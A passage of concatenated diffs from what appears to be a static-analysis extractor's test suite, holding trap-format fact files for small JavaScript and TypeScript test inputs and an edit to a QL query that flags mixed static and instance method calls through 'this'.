#20093=@"loc,{#10000},2,13,2,13"
locations_default(#20093,#10000,2,13,2,13)
hasLocation(#20092,#20093)
#20094=*
tokeninfo(#20094,8,#20001,13,"}")
hasLocation(#20094,#20060)
#20095=*
tokeninfo(#20095,7,#20001,14,"function")
#20096=@"loc,{#10000},4,1,4,8"
locations_default(#20096,#10000,4,1,4,8)
hasLocation(#20095,#20096)
#20097=*
tokeninfo(#20097,6,#20001,15,"g")
hasLocation(#20097,#20023)
#20098=*
tokeninfo(#20098,8,#20001,16,"(")
#20099=@"loc,{#10000},4,11,4,11"
locations_default(#20099,#10000,4,11,4,11)
hasLocation(#20098,#20099)
#20100=*
tokeninfo(#20100,8,#20001,17,")")
#20101=@"loc,{#10000},4,12,4,12"
locations_default(#20101,#10000,4,12,4,12)
hasLocation(#20100,#20101)
#20102=*
tokeninfo(#20102,8,#20001,18,":")
#20103=@"loc,{#10000},4,13,4,13"
locations_default(#20103,#10000,4,13,4,13)
hasLocation(#20102,#20103)
#20104=*
tokeninfo(#20104,8,#20001,19,"%")
#20105=@"loc,{#10000},4,15,4,15"
locations_default(#20105,#10000,4,15,4,15)
hasLocation(#20104,#20105)
#20106=*
tokeninfo(#20106,6,#20001,20,"checks")
#20107=@"loc,{#10000},4,16,4,21"
locations_default(#20107,#10000,4,16,4,21)
hasLocation(#20106,#20107)
#20108=*
tokeninfo(#20108,8,#20001,21,"{")
#20109=@"loc,{#10000},4,23,4,23"
locations_default(#20109,#10000,4,23,4,23)
hasLocation(#20108,#20109)
#20110=*
tokeninfo(#20110,8,#20001,22,"}")
#20111=@"loc,{#10000},4,24,4,24"
locations_default(#20111,#10000,4,24,4,24)
hasLocation(#20110,#20111)
#20112=*
tokeninfo(#20112,8,#20001,23,"{")
#20113=@"loc,{#10000},4,26,4,26"
locations_default(#20113,#10000,4,26,4,26)
hasLocation(#20112,#20113)
#20114=*
tokeninfo(#20114,7,#20001,24,"return")
#20115=@"loc,{#10000},5,5,5,10"
locations_default(#20115,#10000,5,5,5,10)
hasLocation(#20114,#20115)
#20116=*
tokeninfo(#20116,6,#20001,25,"b")
hasLocation(#20116,#20033)
#20117=*
tokeninfo(#20117,8,#20001,26,";")
#20118=@"loc,{#10000},5,13,5,13"
locations_default(#20118,#10000,5,13,5,13)
hasLocation(#20117,#20118)
#20119=*
tokeninfo(#20119,8,#20001,27,"}")
hasLocation(#20119,#20066)
#20120=*
tokeninfo(#20120,8,#20001,28,"(")
#20121=@"loc,{#10000},8,1,8,1"
locations_default(#20121,#10000,8,1,8,1)
hasLocation(#20120,#20121)
#20122=*
tokeninfo(#20122,6,#20001,29,"c")
hasLocation(#20122,#20042)
#20123=*
tokeninfo(#20123,8,#20001,30,")")
#20124=@"loc,{#10000},8,3,8,3"
locations_default(#20124,#10000,8,3,8,3)
hasLocation(#20123,#20124)
#20125=*
tokeninfo(#20125,8,#20001,31,":")
#20126=@"loc,{#10000},8,4,8,4"
locations_default(#20126,#10000,8,4,8,4)
hasLocation(#20125,#20126)
#20127=*
tokeninfo(#20127,6,#20001,32,"boolean")
#20128=@"loc,{#10000},8,6,8,12"
locations_default(#20128,#10000,8,6,8,12)
hasLocation(#20127,#20128)
#20129=*
tokeninfo(#20129,8,#20001,33,"%")
#20130=@"loc,{#10000},8,14,8,14"
locations_default(#20130,#10000,8,14,8,14)
hasLocation(#20129,#20130)
#20131=*
tokeninfo(#20131,6,#20001,34,"checks")
#20132=@"loc,{#10000},8,15,8,20"
locations_default(#20132,#10000,8,15,8,20)
hasLocation(#20131,#20132)
#20133=*
tokeninfo(#20133,8,#20001,35,"=>")
#20134=@"loc,{#10000},8,22,8,23"
locations_default(#20134,#10000,8,22,8,23)
hasLocation(#20133,#20134)
#20135=*
tokeninfo(#20135,6,#20001,36,"c")
hasLocation(#20135,#20044)
#20136=*
tokeninfo(#20136,8,#20001,37,";")
#20137=@"loc,{#10000},8,26,8,26"
locations_default(#20137,#10000,8,26,8,26)
hasLocation(#20136,#20137)
#20138=*
tokeninfo(#20138,8,#20001,38,"(")
#20139=@"loc,{#10000},9,1,9,1"
locations_default(#20139,#10000,9,1,9,1)
hasLocation(#20138,#20139)
#20140=*
tokeninfo(#20140,6,#20001,39,"d")
hasLocation(#20140,#20052)
#20141=*
tokeninfo(#20141,8,#20001,40,")")
#20142=@"loc,{#10000},9,3,9,3"
locations_default(#20142,#10000,9,3,9,3)
hasLocation(#20141,#20142)
#20143=*
tokeninfo(#20143,8,#20001,41,":")
#20144=@"loc,{#10000},9,4,9,4"
locations_default(#20144,#10000,9,4,9,4)
hasLocation(#20143,#20144)
#20145=*
tokeninfo(#20145,8,#20001,42,"%")
#20146=@"loc,{#10000},9,6,9,6"
locations_default(#20146,#10000,9,6,9,6)
hasLocation(#20145,#20146)
#20147=*
tokeninfo(#20147,6,#20001,43,"checks")
#20148=@"loc,{#10000},9,7,9,12"
locations_default(#20148,#10000,9,7,9,12)
hasLocation(#20147,#20148)
#20149=*
tokeninfo(#20149,8,#20001,44,"=>")
#20150=@"loc,{#10000},9,14,9,15"
locations_default(#20150,#10000,9,14,9,15)
hasLocation(#20149,#20150)
#20151=*
tokeninfo(#20151,6,#20001,45,"d")
hasLocation(#20151,#20054)
#20152=*
tokeninfo(#20152,8,#20001,46,";")
#20153=@"loc,{#10000},9,18,9,18"
locations_default(#20153,#10000,9,18,9,18)
hasLocation(#20152,#20153)
#20154=*
tokeninfo(#20154,0,#20001,47,"")
#20155=@"loc,{#10000},10,1,10,0"
locations_default(#20155,#10000,10,1,10,0)
hasLocation(#20154,#20155)
#20156=*
entry_cfg_node(#20156,#20001)
#20157=@"loc,{#10000},1,1,1,0"
locations_default(#20157,#10000,1,1,1,0)
hasLocation(#20156,#20157)
#20158=*
exit_cfg_node(#20158,#20001)
hasLocation(#20158,#20155)
successor(#20045,#20047)
successor(#20047,#20158)
#20159=*
entry_cfg_node(#20159,#20047)
#20160=@"loc,{#10000},9,1,9,0"
locations_default(#20160,#10000,9,1,9,0)
hasLocation(#20159,#20160)
#20161=*
exit_cfg_node(#20161,#20047)
#20162=@"loc,{#10000},9,18,9,17"
locations_default(#20162,#10000,9,18,9,17)
hasLocation(#20161,#20162)
successor(#20053,#20161)
successor(#20051,#20053)
successor(#20159,#20051)
successor(#20035,#20037)
successor(#20037,#20045)
#20163=*
entry_cfg_node(#20163,#20037)
#20164=@"loc,{#10000},8,1,8,0"
locations_default(#20164,#10000,8,1,8,0)
hasLocation(#20163,#20164)
#20165=*
exit_cfg_node(#20165,#20037)
#20166=@"loc,{#10000},8,26,8,25"
locations_default(#20166,#10000,8,26,8,25)
hasLocation(#20165,#20166)
successor(#20043,#20165)
successor(#20041,#20043)
successor(#20163,#20041)
successor(#20028,#20032)
successor(#20032,#20030)
successor(#20030,#20158)
successor(#20020,#20028)
#20167=*
entry_cfg_node(#20167,#20020)
#20168=@"loc,{#10000},4,1,4,0"
locations_default(#20168,#10000,4,1,4,0)
hasLocation(#20167,#20168)
#20169=*
exit_cfg_node(#20169,#20020)
#20170=@"loc,{#10000},4,25,4,24"
locations_default(#20170,#10000,4,25,4,24)
hasLocation(#20169,#20170)
successor(#20026,#20169)
successor(#20167,#20026)
successor(#20005,#20020)
#20171=*
entry_cfg_node(#20171,#20005)
hasLocation(#20171,#20157)
#20172=*
exit_cfg_node(#20172,#20005)
#20173=@"loc,{#10000},3,2,3,1"
locations_default(#20173,#10000,3,2,3,1)
hasLocation(#20172,#20173)
successor(#20014,#20018)
successor(#20018,#20016)
successor(#20016,#20172)
successor(#20011,#20014)
successor(#20171,#20011)
successor(#20022,#20005)
successor(#20007,#20022)
successor(#20156,#20007)
numlines(#10000,9,8,0)
filetype(#10000,"javascript")

View File

@@ -0,0 +1,5 @@
#!/usr/bin/env perl
use strict;
exit 0;

View File

@@ -0,0 +1,4 @@
#!/usr/bin/env node
interface Foo {
x: number;
}

View File

@@ -0,0 +1,3 @@
interface Foo {
x: number;
}

View File

@@ -0,0 +1,3 @@
{
"typescript": true
}

View File

@@ -0,0 +1,129 @@
#10000=@"/typescript-with-shebang.ts;sourcefile"
files(#10000,"/typescript-with-shebang.ts","typescript-with-shebang","ts",0)
#10001=@"/;folder"
folders(#10001,"/","")
containerparent(#10001,#10000)
#10002=@"loc,{#10000},0,0,0,0"
locations_default(#10002,#10000,0,0,0,0)
hasLocation(#10000,#10002)
#20000=@"global_scope"
scopes(#20000,0)
#20001=@"script;{#10000},1,1"
toplevels(#20001,0)
#20002=@"loc,{#10000},1,1,5,0"
locations_default(#20002,#10000,1,1,5,0)
hasLocation(#20001,#20002)
#20003=@"local_type_name;{Foo};{#20000}"
local_type_names(#20003,"Foo",#20000)
#20004=*
stmts(#20004,34,#20001,0,"#!/usr/ ... mber;\n}")
#20005=@"loc,{#10000},1,1,4,1"
locations_default(#20005,#10000,1,1,4,1)
hasLocation(#20004,#20005)
stmtContainers(#20004,#20001)
#20006=*
typeexprs(#20006,1,#20004,0,"Foo")
#20007=@"loc,{#10000},2,11,2,13"
locations_default(#20007,#10000,2,11,2,13)
hasLocation(#20006,#20007)
enclosingStmt(#20006,#20004)
exprContainers(#20006,#20001)
literals("Foo","Foo",#20006)
typedecl(#20006,#20003)
#20008=*
properties(#20008,#20004,2,8,"x: number;")
#20009=@"loc,{#10000},3,3,3,12"
locations_default(#20009,#10000,3,3,3,12)
hasLocation(#20008,#20009)
#20010=*
exprs(#20010,0,#20008,0,"x")
#20011=@"loc,{#10000},3,3,3,3"
locations_default(#20011,#10000,3,3,3,3)
hasLocation(#20010,#20011)
enclosingStmt(#20010,#20004)
exprContainers(#20010,#20001)
literals("x","x",#20010)
isAbstractMember(#20008)
#20012=*
typeexprs(#20012,2,#20008,2,"number")
#20013=@"loc,{#10000},3,6,3,11"
locations_default(#20013,#10000,3,6,3,11)
hasLocation(#20012,#20013)
enclosingStmt(#20012,#20004)
exprContainers(#20012,#20001)
literals("number","number",#20012)
#20014=*
lines(#20014,#20001,"#!/usr/bin/env node","
")
#20015=@"loc,{#10000},1,1,1,19"
locations_default(#20015,#10000,1,1,1,19)
hasLocation(#20014,#20015)
#20016=*
lines(#20016,#20001,"interface Foo {","
")
#20017=@"loc,{#10000},2,1,2,15"
locations_default(#20017,#10000,2,1,2,15)
hasLocation(#20016,#20017)
#20018=*
lines(#20018,#20001," x: number;","
")
#20019=@"loc,{#10000},3,1,3,12"
locations_default(#20019,#10000,3,1,3,12)
hasLocation(#20018,#20019)
indentation(#10000,3," ",2)
#20020=*
lines(#20020,#20001,"}","
")
#20021=@"loc,{#10000},4,1,4,1"
locations_default(#20021,#10000,4,1,4,1)
hasLocation(#20020,#20021)
numlines(#20001,4,3,0)
#20022=*
tokeninfo(#20022,7,#20001,0,"interface")
#20023=@"loc,{#10000},2,1,2,9"
locations_default(#20023,#10000,2,1,2,9)
hasLocation(#20022,#20023)
#20024=*
tokeninfo(#20024,6,#20001,1,"Foo")
hasLocation(#20024,#20007)
#20025=*
tokeninfo(#20025,8,#20001,2,"{")
#20026=@"loc,{#10000},2,15,2,15"
locations_default(#20026,#10000,2,15,2,15)
hasLocation(#20025,#20026)
#20027=*
tokeninfo(#20027,6,#20001,3,"x")
hasLocation(#20027,#20011)
#20028=*
tokeninfo(#20028,8,#20001,4,":")
#20029=@"loc,{#10000},3,4,3,4"
locations_default(#20029,#10000,3,4,3,4)
hasLocation(#20028,#20029)
#20030=*
tokeninfo(#20030,7,#20001,5,"number")
hasLocation(#20030,#20013)
#20031=*
tokeninfo(#20031,8,#20001,6,";")
#20032=@"loc,{#10000},3,12,3,12"
locations_default(#20032,#10000,3,12,3,12)
hasLocation(#20031,#20032)
#20033=*
tokeninfo(#20033,8,#20001,7,"}")
hasLocation(#20033,#20021)
#20034=*
tokeninfo(#20034,0,#20001,8,"")
#20035=@"loc,{#10000},5,1,5,0"
locations_default(#20035,#10000,5,1,5,0)
hasLocation(#20034,#20035)
#20036=*
entry_cfg_node(#20036,#20001)
#20037=@"loc,{#10000},1,1,1,0"
locations_default(#20037,#10000,1,1,1,0)
hasLocation(#20036,#20037)
#20038=*
exit_cfg_node(#20038,#20001)
hasLocation(#20038,#20035)
successor(#20004,#20038)
successor(#20036,#20004)
numlines(#10000,4,3,0)
filetype(#10000,"typescript")

View File

@@ -0,0 +1,123 @@
#10000=@"/typescript.ts;sourcefile"
files(#10000,"/typescript.ts","typescript","ts",0)
#10001=@"/;folder"
folders(#10001,"/","")
containerparent(#10001,#10000)
#10002=@"loc,{#10000},0,0,0,0"
locations_default(#10002,#10000,0,0,0,0)
hasLocation(#10000,#10002)
#20000=@"global_scope"
scopes(#20000,0)
#20001=@"script;{#10000},1,1"
toplevels(#20001,0)
#20002=@"loc,{#10000},1,1,4,0"
locations_default(#20002,#10000,1,1,4,0)
hasLocation(#20001,#20002)
#20003=@"local_type_name;{Foo};{#20000}"
local_type_names(#20003,"Foo",#20000)
#20004=*
stmts(#20004,34,#20001,0,"interfa ... mber;\n}")
#20005=@"loc,{#10000},1,1,3,1"
locations_default(#20005,#10000,1,1,3,1)
hasLocation(#20004,#20005)
stmtContainers(#20004,#20001)
#20006=*
typeexprs(#20006,1,#20004,0,"Foo")
#20007=@"loc,{#10000},1,11,1,13"
locations_default(#20007,#10000,1,11,1,13)
hasLocation(#20006,#20007)
enclosingStmt(#20006,#20004)
exprContainers(#20006,#20001)
literals("Foo","Foo",#20006)
typedecl(#20006,#20003)
#20008=*
properties(#20008,#20004,2,8,"x: number;")
#20009=@"loc,{#10000},2,3,2,12"
locations_default(#20009,#10000,2,3,2,12)
hasLocation(#20008,#20009)
#20010=*
exprs(#20010,0,#20008,0,"x")
#20011=@"loc,{#10000},2,3,2,3"
locations_default(#20011,#10000,2,3,2,3)
hasLocation(#20010,#20011)
enclosingStmt(#20010,#20004)
exprContainers(#20010,#20001)
literals("x","x",#20010)
isAbstractMember(#20008)
#20012=*
typeexprs(#20012,2,#20008,2,"number")
#20013=@"loc,{#10000},2,6,2,11"
locations_default(#20013,#10000,2,6,2,11)
hasLocation(#20012,#20013)
enclosingStmt(#20012,#20004)
exprContainers(#20012,#20001)
literals("number","number",#20012)
#20014=*
lines(#20014,#20001,"interface Foo {","
")
#20015=@"loc,{#10000},1,1,1,15"
locations_default(#20015,#10000,1,1,1,15)
hasLocation(#20014,#20015)
#20016=*
lines(#20016,#20001," x: number;","
")
#20017=@"loc,{#10000},2,1,2,12"
locations_default(#20017,#10000,2,1,2,12)
hasLocation(#20016,#20017)
indentation(#10000,2," ",2)
#20018=*
lines(#20018,#20001,"}","
")
#20019=@"loc,{#10000},3,1,3,1"
locations_default(#20019,#10000,3,1,3,1)
hasLocation(#20018,#20019)
numlines(#20001,3,3,0)
#20020=*
tokeninfo(#20020,7,#20001,0,"interface")
#20021=@"loc,{#10000},1,1,1,9"
locations_default(#20021,#10000,1,1,1,9)
hasLocation(#20020,#20021)
#20022=*
tokeninfo(#20022,6,#20001,1,"Foo")
hasLocation(#20022,#20007)
#20023=*
tokeninfo(#20023,8,#20001,2,"{")
#20024=@"loc,{#10000},1,15,1,15"
locations_default(#20024,#10000,1,15,1,15)
hasLocation(#20023,#20024)
#20025=*
tokeninfo(#20025,6,#20001,3,"x")
hasLocation(#20025,#20011)
#20026=*
tokeninfo(#20026,8,#20001,4,":")
#20027=@"loc,{#10000},2,4,2,4"
locations_default(#20027,#10000,2,4,2,4)
hasLocation(#20026,#20027)
#20028=*
tokeninfo(#20028,7,#20001,5,"number")
hasLocation(#20028,#20013)
#20029=*
tokeninfo(#20029,8,#20001,6,";")
#20030=@"loc,{#10000},2,12,2,12"
locations_default(#20030,#10000,2,12,2,12)
hasLocation(#20029,#20030)
#20031=*
tokeninfo(#20031,8,#20001,7,"}")
hasLocation(#20031,#20019)
#20032=*
tokeninfo(#20032,0,#20001,8,"")
#20033=@"loc,{#10000},4,1,4,0"
locations_default(#20033,#10000,4,1,4,0)
hasLocation(#20032,#20033)
#20034=*
entry_cfg_node(#20034,#20001)
#20035=@"loc,{#10000},1,1,1,0"
locations_default(#20035,#10000,1,1,1,0)
hasLocation(#20034,#20035)
#20036=*
exit_cfg_node(#20036,#20001)
hasLocation(#20036,#20033)
successor(#20004,#20036)
successor(#20034,#20004)
numlines(#10000,3,3,0)
filetype(#10000,"typescript")

View File

@@ -0,0 +1,4 @@
function f(x,y) {
if (x || y) {}
if (x && y) {}
}

View File

@@ -326,11 +326,11 @@ hasLocation(#20098,#20096)
exit_cfg_node(#20099,#20004)
hasLocation(#20099,#20094)
successor(#20012,#20017)
successor(#20033,#20037)
successor(#20043,#20035)
successor(#20033,#20043)
successor(#20037,#20039)
successor(#20041,#20043)
successor(#20041,#20035)
successor(#20039,#20041)
successor(#20043,#20037)
successor(#20035,#20099)
successor(#20025,#20027)
successor(#20027,#20029)

View File

@@ -0,0 +1,351 @@
#10000=@"/logicalOr.ts;sourcefile"
files(#10000,"/logicalOr.ts","logicalOr","ts",0)
#10001=@"/;folder"
folders(#10001,"/","")
containerparent(#10001,#10000)
#10002=@"loc,{#10000},0,0,0,0"
locations_default(#10002,#10000,0,0,0,0)
hasLocation(#10000,#10002)
#20000=@"global_scope"
scopes(#20000,0)
#20001=@"script;{#10000},1,1"
toplevels(#20001,0)
#20002=@"loc,{#10000},1,1,5,0"
locations_default(#20002,#10000,1,1,5,0)
hasLocation(#20001,#20002)
#20003=@"var;{f};{#20000}"
variables(#20003,"f",#20000)
#20004=*
stmts(#20004,17,#20001,0,"functio ... y) {}\n}")
#20005=@"loc,{#10000},1,1,4,1"
locations_default(#20005,#10000,1,1,4,1)
hasLocation(#20004,#20005)
stmtContainers(#20004,#20001)
#20006=*
exprs(#20006,78,#20004,-1,"f")
#20007=@"loc,{#10000},1,10,1,10"
locations_default(#20007,#10000,1,10,1,10)
hasLocation(#20006,#20007)
exprContainers(#20006,#20004)
literals("f","f",#20006)
decl(#20006,#20003)
#20008=*
scopes(#20008,1)
scopenodes(#20004,#20008)
scopenesting(#20008,#20000)
#20009=@"var;{x};{#20008}"
variables(#20009,"x",#20008)
#20010=*
exprs(#20010,78,#20004,0,"x")
#20011=@"loc,{#10000},1,12,1,12"
locations_default(#20011,#10000,1,12,1,12)
hasLocation(#20010,#20011)
exprContainers(#20010,#20004)
literals("x","x",#20010)
decl(#20010,#20009)
#20012=@"var;{y};{#20008}"
variables(#20012,"y",#20008)
#20013=*
exprs(#20013,78,#20004,1,"y")
#20014=@"loc,{#10000},1,14,1,14"
locations_default(#20014,#10000,1,14,1,14)
hasLocation(#20013,#20014)
exprContainers(#20013,#20004)
literals("y","y",#20013)
decl(#20013,#20012)
#20015=@"var;{arguments};{#20008}"
variables(#20015,"arguments",#20008)
isArgumentsObject(#20015)
#20016=*
stmts(#20016,1,#20004,-2,"{\n if ... y) {}\n}")
#20017=@"loc,{#10000},1,17,4,1"
locations_default(#20017,#10000,1,17,4,1)
hasLocation(#20016,#20017)
stmtContainers(#20016,#20004)
#20018=*
stmts(#20018,3,#20016,0,"if (x || y) {}")
#20019=@"loc,{#10000},2,3,2,16"
locations_default(#20019,#10000,2,3,2,16)
hasLocation(#20018,#20019)
stmtContainers(#20018,#20004)
#20020=*
exprs(#20020,45,#20018,0,"x || y")
#20021=@"loc,{#10000},2,7,2,12"
locations_default(#20021,#10000,2,7,2,12)
hasLocation(#20020,#20021)
enclosingStmt(#20020,#20018)
exprContainers(#20020,#20004)
#20022=*
exprs(#20022,79,#20020,0,"x")
#20023=@"loc,{#10000},2,7,2,7"
locations_default(#20023,#10000,2,7,2,7)
hasLocation(#20022,#20023)
enclosingStmt(#20022,#20018)
exprContainers(#20022,#20004)
literals("x","x",#20022)
bind(#20022,#20009)
#20024=*
exprs(#20024,79,#20020,1,"y")
#20025=@"loc,{#10000},2,12,2,12"
locations_default(#20025,#10000,2,12,2,12)
hasLocation(#20024,#20025)
enclosingStmt(#20024,#20018)
exprContainers(#20024,#20004)
literals("y","y",#20024)
bind(#20024,#20012)
#20026=*
stmts(#20026,1,#20018,1,"{}")
#20027=@"loc,{#10000},2,15,2,16"
locations_default(#20027,#10000,2,15,2,16)
hasLocation(#20026,#20027)
stmtContainers(#20026,#20004)
#20028=*
stmts(#20028,3,#20016,1,"if (x && y) {}")
#20029=@"loc,{#10000},3,3,3,16"
locations_default(#20029,#10000,3,3,3,16)
hasLocation(#20028,#20029)
stmtContainers(#20028,#20004)
#20030=*
exprs(#20030,44,#20028,0,"x && y")
#20031=@"loc,{#10000},3,7,3,12"
locations_default(#20031,#10000,3,7,3,12)
hasLocation(#20030,#20031)
enclosingStmt(#20030,#20028)
exprContainers(#20030,#20004)
#20032=*
exprs(#20032,79,#20030,0,"x")
#20033=@"loc,{#10000},3,7,3,7"
locations_default(#20033,#10000,3,7,3,7)
hasLocation(#20032,#20033)
enclosingStmt(#20032,#20028)
exprContainers(#20032,#20004)
literals("x","x",#20032)
bind(#20032,#20009)
#20034=*
exprs(#20034,79,#20030,1,"y")
#20035=@"loc,{#10000},3,12,3,12"
locations_default(#20035,#10000,3,12,3,12)
hasLocation(#20034,#20035)
enclosingStmt(#20034,#20028)
exprContainers(#20034,#20004)
literals("y","y",#20034)
bind(#20034,#20012)
#20036=*
stmts(#20036,1,#20028,1,"{}")
#20037=@"loc,{#10000},3,15,3,16"
locations_default(#20037,#10000,3,15,3,16)
hasLocation(#20036,#20037)
stmtContainers(#20036,#20004)
numlines(#20004,4,4,0)
#20038=*
lines(#20038,#20001,"function f(x,y) {","
")
#20039=@"loc,{#10000},1,1,1,17"
locations_default(#20039,#10000,1,1,1,17)
hasLocation(#20038,#20039)
#20040=*
lines(#20040,#20001," if (x || y) {}","
")
#20041=@"loc,{#10000},2,1,2,16"
locations_default(#20041,#10000,2,1,2,16)
hasLocation(#20040,#20041)
indentation(#10000,2," ",2)
#20042=*
lines(#20042,#20001," if (x && y) {}","
")
#20043=@"loc,{#10000},3,1,3,16"
locations_default(#20043,#10000,3,1,3,16)
hasLocation(#20042,#20043)
indentation(#10000,3," ",2)
#20044=*
lines(#20044,#20001,"}","
")
#20045=@"loc,{#10000},4,1,4,1"
locations_default(#20045,#10000,4,1,4,1)
hasLocation(#20044,#20045)
numlines(#20001,4,4,0)
#20046=*
tokeninfo(#20046,7,#20001,0,"function")
#20047=@"loc,{#10000},1,1,1,8"
locations_default(#20047,#10000,1,1,1,8)
hasLocation(#20046,#20047)
#20048=*
tokeninfo(#20048,6,#20001,1,"f")
hasLocation(#20048,#20007)
#20049=*
tokeninfo(#20049,8,#20001,2,"(")
#20050=@"loc,{#10000},1,11,1,11"
locations_default(#20050,#10000,1,11,1,11)
hasLocation(#20049,#20050)
#20051=*
tokeninfo(#20051,6,#20001,3,"x")
hasLocation(#20051,#20011)
#20052=*
tokeninfo(#20052,8,#20001,4,",")
#20053=@"loc,{#10000},1,13,1,13"
locations_default(#20053,#10000,1,13,1,13)
hasLocation(#20052,#20053)
#20054=*
tokeninfo(#20054,6,#20001,5,"y")
hasLocation(#20054,#20014)
#20055=*
tokeninfo(#20055,8,#20001,6,")")
#20056=@"loc,{#10000},1,15,1,15"
locations_default(#20056,#10000,1,15,1,15)
hasLocation(#20055,#20056)
#20057=*
tokeninfo(#20057,8,#20001,7,"{")
#20058=@"loc,{#10000},1,17,1,17"
locations_default(#20058,#10000,1,17,1,17)
hasLocation(#20057,#20058)
#20059=*
tokeninfo(#20059,7,#20001,8,"if")
#20060=@"loc,{#10000},2,3,2,4"
locations_default(#20060,#10000,2,3,2,4)
hasLocation(#20059,#20060)
#20061=*
tokeninfo(#20061,8,#20001,9,"(")
#20062=@"loc,{#10000},2,6,2,6"
locations_default(#20062,#10000,2,6,2,6)
hasLocation(#20061,#20062)
#20063=*
tokeninfo(#20063,6,#20001,10,"x")
hasLocation(#20063,#20023)
#20064=*
tokeninfo(#20064,8,#20001,11,"||")
#20065=@"loc,{#10000},2,9,2,10"
locations_default(#20065,#10000,2,9,2,10)
hasLocation(#20064,#20065)
#20066=*
tokeninfo(#20066,6,#20001,12,"y")
hasLocation(#20066,#20025)
#20067=*
tokeninfo(#20067,8,#20001,13,")")
#20068=@"loc,{#10000},2,13,2,13"
locations_default(#20068,#10000,2,13,2,13)
hasLocation(#20067,#20068)
#20069=*
tokeninfo(#20069,8,#20001,14,"{")
#20070=@"loc,{#10000},2,15,2,15"
locations_default(#20070,#10000,2,15,2,15)
hasLocation(#20069,#20070)
#20071=*
tokeninfo(#20071,8,#20001,15,"}")
#20072=@"loc,{#10000},2,16,2,16"
locations_default(#20072,#10000,2,16,2,16)
hasLocation(#20071,#20072)
#20073=*
tokeninfo(#20073,7,#20001,16,"if")
#20074=@"loc,{#10000},3,3,3,4"
locations_default(#20074,#10000,3,3,3,4)
hasLocation(#20073,#20074)
#20075=*
tokeninfo(#20075,8,#20001,17,"(")
#20076=@"loc,{#10000},3,6,3,6"
locations_default(#20076,#10000,3,6,3,6)
hasLocation(#20075,#20076)
#20077=*
tokeninfo(#20077,6,#20001,18,"x")
hasLocation(#20077,#20033)
#20078=*
tokeninfo(#20078,8,#20001,19,"&&")
#20079=@"loc,{#10000},3,9,3,10"
locations_default(#20079,#10000,3,9,3,10)
hasLocation(#20078,#20079)
#20080=*
tokeninfo(#20080,6,#20001,20,"y")
hasLocation(#20080,#20035)
#20081=*
tokeninfo(#20081,8,#20001,21,")")
#20082=@"loc,{#10000},3,13,3,13"
locations_default(#20082,#10000,3,13,3,13)
hasLocation(#20081,#20082)
#20083=*
tokeninfo(#20083,8,#20001,22,"{")
#20084=@"loc,{#10000},3,15,3,15"
locations_default(#20084,#10000,3,15,3,15)
hasLocation(#20083,#20084)
#20085=*
tokeninfo(#20085,8,#20001,23,"}")
#20086=@"loc,{#10000},3,16,3,16"
locations_default(#20086,#10000,3,16,3,16)
hasLocation(#20085,#20086)
#20087=*
tokeninfo(#20087,8,#20001,24,"}")
hasLocation(#20087,#20045)
#20088=*
tokeninfo(#20088,0,#20001,25,"")
#20089=@"loc,{#10000},5,1,5,0"
locations_default(#20089,#10000,5,1,5,0)
hasLocation(#20088,#20089)
#20090=*
entry_cfg_node(#20090,#20001)
#20091=@"loc,{#10000},1,1,1,0"
locations_default(#20091,#10000,1,1,1,0)
hasLocation(#20090,#20091)
#20092=*
exit_cfg_node(#20092,#20001)
hasLocation(#20092,#20089)
successor(#20004,#20092)
#20093=*
entry_cfg_node(#20093,#20004)
hasLocation(#20093,#20091)
#20094=*
exit_cfg_node(#20094,#20004)
#20095=@"loc,{#10000},4,2,4,1"
locations_default(#20095,#10000,4,2,4,1)
hasLocation(#20094,#20095)
successor(#20016,#20018)
successor(#20028,#20030)
successor(#20030,#20032)
#20096=*
guard_node(#20096,1,#20032)
hasLocation(#20096,#20033)
successor(#20096,#20034)
#20097=*
guard_node(#20097,0,#20032)
hasLocation(#20097,#20033)
successor(#20097,#20094)
successor(#20032,#20096)
successor(#20032,#20097)
#20098=*
guard_node(#20098,1,#20034)
hasLocation(#20098,#20035)
successor(#20098,#20036)
#20099=*
guard_node(#20099,0,#20034)
hasLocation(#20099,#20035)
successor(#20099,#20094)
successor(#20034,#20098)
successor(#20034,#20099)
successor(#20036,#20094)
successor(#20018,#20020)
successor(#20020,#20022)
#20100=*
guard_node(#20100,1,#20022)
hasLocation(#20100,#20023)
successor(#20100,#20026)
#20101=*
guard_node(#20101,0,#20022)
hasLocation(#20101,#20023)
successor(#20101,#20024)
successor(#20022,#20100)
successor(#20022,#20101)
#20102=*
guard_node(#20102,1,#20024)
hasLocation(#20102,#20025)
successor(#20102,#20026)
#20103=*
guard_node(#20103,0,#20024)
hasLocation(#20103,#20025)
successor(#20103,#20028)
successor(#20024,#20102)
successor(#20024,#20103)
successor(#20026,#20028)
successor(#20013,#20016)
successor(#20010,#20013)
successor(#20093,#20010)
successor(#20006,#20004)
successor(#20090,#20006)
numlines(#10000,4,4,0)
filetype(#10000,"typescript")

View File

@@ -17,33 +17,31 @@ predicate hasMethod(ClassDefinition base, string name, MethodDefinition m) {
}
/**
* Holds if `access` is in`fromMethod`, and it references `toMethod` through `this`.
* Holds if `access` is in`fromMethod`, and it references `toMethod` through `this`,
* where `fromMethod` and `toMethod` are of kind `fromKind` and `toKind`, respectively.
*/
predicate isLocalMethodAccess(PropAccess access, MethodDefinition fromMethod, MethodDefinition toMethod) {
hasMethod(fromMethod.getDeclaringClass(), access.getPropertyName(), toMethod) and
access.getEnclosingFunction() = fromMethod.getBody() and
access.getBase() instanceof ThisExpr
predicate isLocalMethodAccess(PropAccess access, MethodDefinition fromMethod, string fromKind,
MethodDefinition toMethod, string toKind) {
hasMethod(fromMethod.getDeclaringClass(), access.getPropertyName(), toMethod) and
access.getEnclosingFunction() = fromMethod.getBody() and
access.getBase() instanceof ThisExpr and
fromKind = getKind(fromMethod) and
toKind = getKind(toMethod)
}
string getKind(MethodDefinition m) {
if m.isStatic() then result = "static" else result = "instance"
if m.isStatic() then result = "static" else result = "instance"
}
from PropAccess access, MethodDefinition fromMethod, MethodDefinition toMethod, string fromKind, string toKind
where
isLocalMethodAccess(access, fromMethod, toMethod) and
fromKind = getKind(fromMethod) and
toKind = getKind(toMethod) and
isLocalMethodAccess(access, fromMethod, fromKind, toMethod, toKind) and
toKind != fromKind and
not toKind = fromKind and
// exceptions
not (
// the class has a second member with the same name and the right kind
exists (MethodDefinition toMethodWithSameKind |
isLocalMethodAccess(access, fromMethod, toMethodWithSameKind) and
fromKind = getKind(toMethodWithSameKind)
)
isLocalMethodAccess(access, fromMethod, _, _, fromKind)
or
// there is a dynamically assigned second member with the same name and the right kind
exists (AnalyzedPropertyWrite apw, AbstractClass declaringClass, AbstractValue base |

View File

@@ -12,6 +12,7 @@ predicate isDOMRootType(ExternalType et) {
}
